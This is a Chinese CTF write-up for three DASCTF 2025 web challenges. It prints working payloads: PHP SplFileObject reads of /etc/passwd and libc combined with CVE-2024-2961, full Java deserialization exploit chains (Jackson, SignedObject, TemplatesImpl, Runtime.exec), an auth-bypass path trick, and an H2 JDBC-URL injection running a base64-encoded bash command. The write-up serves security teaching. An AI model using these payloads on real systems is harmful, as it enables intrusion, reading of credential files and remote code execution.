> 技术文档 > 【Web】DASCTF 2025上半年赛 wp

【Web】DASCTF 2025上半年赛 wp

目录

phpms

再短一点点 

泽西岛


phpms

dirsearch请求太快会报429,要设置一手--delay,扫出来.git

跑一下githacker

git stash listgit stash show -p

 注释的绕过参考:从国赛想到的一些php绕过注释符trick

发现很多函数都被disable了

 这里用php原生类先读/etc/passwd

/index.php?shell=?><?php $context = new SplFileObject(\'/etc/passwd\');foreach($context as $f){ echo($f);}

看到有redis,后续存在利用

 接下来用SplFileObject原生类配合CNEXT (CVE-2024-2961)进行命令执行

用这个改进过的脚本:https://github.com/kezibei/php-filter-iconv

先读maps

/index.php?shell=?><?php $context = new SplFileObject(\'file:///proc/self/maps\');foreach($context as $f){ echo($f);}

 再读/lib/x86_64-linux-gnu/libc-2.31.so

/index.php?shell=?><?php $context = new SplFileObject(\'php://filter/convert.base64-encode/resource=/lib/x86_64-linux-gnu/libc-2.31.so\');foreach($context as $f){ echo($f);}

 脚本生成payload

 执行后502,无回显,可将执行结果写入文件再读取

发现flag不在文件中,在redis里

去读/etc/redis.conf,读到密码为admin123

将命令改为

echo \"auth admin123\\nget flag\" | redis-cli > /tmp/res.txt

再短一点点 

先来看黑名单过滤

第一个过滤com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl,即getter的sink

第二个过滤javax.management.BadAttributeValueExpException,即直接触发toString的手段

第三个过滤了aop相关类,但org.springframework.aop.target.HotSwappableTargetSource没有被ban

又注意到题目库里有Jackson,可以由toString触发POJONODE来调getter,这里用SignedObject打二次反序列化即可

参考文章:Jackson原生反序列化 - Infernity\'s Blog

至于toString的触发,可以先试试EventListenerList这条链

https://github.com/datouo/CTF-Java-Gadget/blob/master/src/main/java/com/xiinnn/readobject2tostring/EventListenerListReadObject2ToString.java

 

链子搓完了,接下来看题目要求(

/deser路由,要求payload长度≤1282,经过InflaterInputStream解码,然后传到MyObjectInputStream里反序列化

反序列化完后执行命令, 删除/a文件,接着再访问/flag路由获取flag

 跑通了poc

package GFCTF;import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.*;import org.springframework.aop.framework.AdvisedSupport;import javax.swing.event.EventListenerList;import javax.swing.undo.UndoManager;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.security.*;import java.util.Base64;import java.util.Vector;public class exp { public static void main(String[] args) throws Exception { overrideJackson(); byte[] bytes = getshortclass(\"calc\"); TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes); Object obj = getPOJONodeStableProxy(templates); POJONode pojoNode = new POJONode(obj); EventListenerList list = new EventListenerList(); UndoManager manager = new UndoManager(); Vector vector = (Vector) getFieldValue(manager, \"edits\"); vector.add(pojoNode); setFieldValue(list, \"listenerList\", new Object[]{InternalError.class, manager}); //二次反序列化 SignedObject signedObject = second_serialize(list); POJONode pojoNode2 = new POJONode(signedObject); EventListenerList list2 = new EventListenerList(); UndoManager manager2 = new UndoManager(); Vector vector2 = (Vector) getFieldValue(manager2, \"edits\"); vector2.add(pojoNode2); setFieldValue(list2, \"listenerList\", new Object[]{InternalError.class, manager2}); String a = serialize(list2); System.out.println(a); System.out.println(a.length()); unserialize(a); } public static Object getFieldValue(Object obj, String fieldName) throws Exception{ Field field = null; Class c = obj.getClass(); for (int i = 0; i < 5; i++) { try { field = c.getDeclaredField(fieldName); } catch (NoSuchFieldException e){ c = c.getSuperclass(); } } field.setAccessible(true); return field.get(obj); } public static void setFieldValue(Object obj, String field, Object val) throws Exception{ Field dField = obj.getClass().getDeclaredField(field); dField.setAccessible(true); dField.set(obj, val); } public static SignedObject second_serialize(Object o) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException { KeyPairGenerator kpg = KeyPairGenerator.getInstance(\"DSA\"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject((Serializable) o, kp.getPrivate(), Signature.getInstance(\"DSA\")); return signedObject; } //获取进行了动态代理的templatesImpl,保证触发getOutput public static Object getPOJONodeStableProxy(Object templatesImpl) throws Exception{ Class clazz = Class.forName(\"org.springframework.aop.framework.JdkDynamicAopProxy\"); Constructor cons = clazz.getDeclaredConstructor(AdvisedSupport.class); cons.setAccessible(true); AdvisedSupport advisedSupport = new AdvisedSupport(); advisedSupport.setTarget(templatesImpl); InvocationHandler handler = (InvocationHandler) cons.newInstance(advisedSupport); Object proxyObj = Proxy.newProxyInstance(clazz.getClassLoader(), new Class[]{Templates.class}, handler); return proxyObj; } //重写jackson public static void overrideJackson() throws NotFoundException, CannotCompileException, IOException { CtClass ctClass = ClassPool.getDefault().get(\"com.fasterxml.jackson.databind.node.BaseJsonNode\"); CtMethod writeReplace = ctClass.getDeclaredMethod(\"writeReplace\"); ctClass.removeMethod(writeReplace); ctClass.toClass(); } public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static Object getTemplates(byte[] bytes) throws Exception { Templates templates = new TemplatesImpl(); setValue(templates, \"_bytecodes\", new byte[][]{bytes}); setValue(templates, \"_name\", \"Infernity\"); setValue(templates, \"_tfactory\", new TransformerFactoryImpl()); return templates; } //提供需要序列化的类,返回base64后的字节码 public static String serialize(Object obj) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(obj); String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); return poc; } //提供base64后的字节码,进行反序列化 public static void unserialize(String exp) throws IOException,ClassNotFoundException{ byte[] bytes = Base64.getDecoder().decode(exp); ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes); ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream); objectInputStream.readObject(); } //一个短的命令执行class,用javassist写的 public static byte[] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass(\"a\"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody(\"Runtime.getRuntime().exec(\\\"\"+cmd+\"\\\");\"); clazz.addConstructor(constructor); byte[] bytes = clazz.toBytecode(); return bytes; }}

但长度太长,需要削减不必要部分

首先置空TP的不必要字段

删掉jackson链子稳定性部分 

 跑完还是离1282差一点🤔

于是换toString的入口

HashMap#readObject -> HotSwappableTargetSource#equals -> XString#equals -> toString

package GFCTF;import com.fasterxml.jackson.databind.node.POJONode;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xpath.internal.objects.XString;import javassist.*;import org.springframework.aop.target.HotSwappableTargetSource;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.*;import java.security.*;import java.util.Base64;import java.util.zip.Deflater;import java.util.zip.DeflaterOutputStream;import java.util.zip.InflaterInputStream;import java.util.HashMap;public class exp { public static void main(String[] args) throws Exception { overrideJackson(); byte[] bytes = getshortclass(\"calc\"); TemplatesImpl templates = (TemplatesImpl) getTemplates(bytes); POJONode pojoNode = new POJONode(templates); HotSwappableTargetSource h11 = new HotSwappableTargetSource(pojoNode); HotSwappableTargetSource h21 = new HotSwappableTargetSource(new XString(null)); HashMap objectObjectHashMap = makeMap(h11, h21); //二次反序列化 SignedObject signedObject = second_serialize(objectObjectHashMap); POJONode pojoNode2 = new POJONode(signedObject); HotSwappableTargetSource h12 = new HotSwappableTargetSource(pojoNode2); HotSwappableTargetSource h22 = new HotSwappableTargetSource(new XString(null)); HashMap objectObjectHashMap2 = makeMap(h12, h22); String a = serialize(objectObjectHashMap2); System.out.println(a); System.out.println(a.length()); unserialize(a); } public static Object getFieldValue(Object obj, String fieldName) throws Exception{ Field field = null; Class c = obj.getClass(); for (int i = 0; i < 5; i++) { try { field = c.getDeclaredField(fieldName); } catch (NoSuchFieldException e){ c = c.getSuperclass(); } } field.setAccessible(true); return field.get(obj); } public static void setFieldValue(Object obj, String field, Object val) throws Exception{ Field dField = obj.getClass().getDeclaredField(field); dField.setAccessible(true); dField.set(obj, val); } public static SignedObject second_serialize(Object o) throws NoSuchAlgorithmException, IOException, SignatureException, InvalidKeyException { KeyPairGenerator kpg = KeyPairGenerator.getInstance(\"DSA\"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject((Serializable) o, kp.getPrivate(), Signature.getInstance(\"DSA\")); return signedObject; } //重写jackson public static void overrideJackson() throws NotFoundException, CannotCompileException, IOException { CtClass ctClass = ClassPool.getDefault().get(\"com.fasterxml.jackson.databind.node.BaseJsonNode\"); CtMethod writeReplace = ctClass.getDeclaredMethod(\"writeReplace\"); ctClass.removeMethod(writeReplace); ctClass.toClass(); } public static void setValue(Object obj, String name, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true); field.set(obj, value); } public static Object getTemplates(byte[] bytes) throws Exception { Templates templates = new TemplatesImpl(); setValue(templates, \"_bytecodes\", new byte[][]{bytes}); setValue(templates, \"_name\", \"\"); setValue(templates, \"_tfactory\", null); return templates; } public static HashMap makeMap (Object v1, Object v2 ) throws Exception { HashMap s = new HashMap(); setFieldValue(s, \"size\", 2); Class nodeC; try { nodeC = Class.forName(\"java.util.HashMap$Node\"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName(\"java.util.HashMap$Entry\"); } Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); setFieldValue(s, \"table\", tbl); return s; } //提供需要序列化的类,返回base64后的字节码 public static String serialize(Object obj) throws IOException { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); // 使用 Deflater 设置为最高压缩率 Deflater deflater = new Deflater(Deflater.BEST_COMPRESSION); DeflaterOutputStream deflaterOutputStream = new DeflaterOutputStream(byteArrayOutputStream, deflater); ObjectOutputStream objectOutputStream = new ObjectOutputStream(deflaterOutputStream); objectOutputStream.writeObject(obj); // 关闭流 objectOutputStream.flush(); deflaterOutputStream.finish(); deflaterOutputStream.close(); // 转换为 Base64 字符串 String poc = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); return poc; } //提供base64后的字节码,进行反序列化 public static void unserialize(String exp) throws IOException,ClassNotFoundException{ new MyObjectInputStream(new InflaterInputStream(new ByteArrayInputStream(Base64.getDecoder().decode(exp)))).readObject(); } //一个短的命令执行class,用javassist写的 public static byte[] getshortclass(String cmd) throws CannotCompileException, IOException, NotFoundException { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.makeClass(\"a\"); CtClass superClass = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superClass); CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz); constructor.setBody(\"Runtime.getRuntime().exec(\\\"\"+cmd+\"\\\");\"); clazz.addConstructor(constructor); byte[] bytes = clazz.toBytecode(); return bytes; }}

更接近了一点🤔 

 短不了一点了,下一题

泽西岛

这题是个不出网H2 RCE

扒一扒h2database远程代码执行 | 离别歌

首先是鉴权的绕过

用/api/testConnect;.绕过

接着打H2 RCE

cat /flag > $CATALINA_HOME/webapps/ROOT/404.jsp
jdbcUrl=jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INI\\T=CREATE ALIAS EXEC AS \'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\;}\'\\;CALL EXEC (\'bash -c {echo,Y2F0IC9mbGFnID4gJENBVEFMSU5BX0hPTUUvd2ViYXBwcy9ST09ULzQwNC5qc3A\\=}|{base64,-d}|{bash,-i}\')\\;;AUTHZPWD=\\

再随便访问个不存在的路由,带出flag